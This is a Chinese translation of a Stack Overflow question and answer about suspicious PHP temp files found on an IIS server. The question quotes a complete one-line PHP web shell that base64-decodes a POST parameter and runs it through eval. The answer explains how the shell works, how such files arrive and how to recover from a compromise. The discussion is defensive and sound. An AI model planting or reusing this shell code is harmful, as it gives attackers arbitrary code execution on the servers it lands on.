我注意到,我们的临时目录中有一些临时文件,其名称类似于phpA3F9.tmp
查看内容,我发现一个数字后面跟着一些PHP代码,下面的代码出现在几个文件中
9990000
<?php
$mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?>这似乎是一次攻击尝试,但我认为它依赖于攻击者能够在tmp文件夹中执行代码。
有人能解释一下这是怎么回事吗?风险有多大?这些文件如何进入tmp文件夹?我该怎么阻止他们?
我不知道这是否相关,但我们正在IIS上运行PHP5.5
发布于 2015-12-01 14:53:32
短故事:您的服务器可能已经被破坏了。
这些是PHP shells -它们所在的位置大多是无害的,但是如果它们进入您的web根目录,攻击者就可以在您的服务器上执行任何任意代码。
了解外壳的关键部分是:
$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");它完全接受来自$_POST变量的任何代码,base64_decode是它,然后通过eval运行它,同时抑制任何错误。
这可能是通过你的网站上的表单上传,并作为中间一步被倾倒在临时文件夹,希望他们将被移动到一个网站可访问的位置。另一种选择是,您的服务器上已经有一个shell或rootkit,它将这些文件放在它可以找到的任何可写文件夹中。
那该怎么办呢?检查您的服务器日志-如果您看到任何成功的连接到一个脚本,您不认识,您可能会受到损害。在您的站点上查找任何上传表单,并锁定它们(需要用户身份验证等),然后如果您确定您已经被破坏了,不要费心去清理它。创建一个新服务器,将干净的代码、重要文件和数据迁移到干净的服务器上。
https://stackoverflow.com/questions/34022932
复制相似问题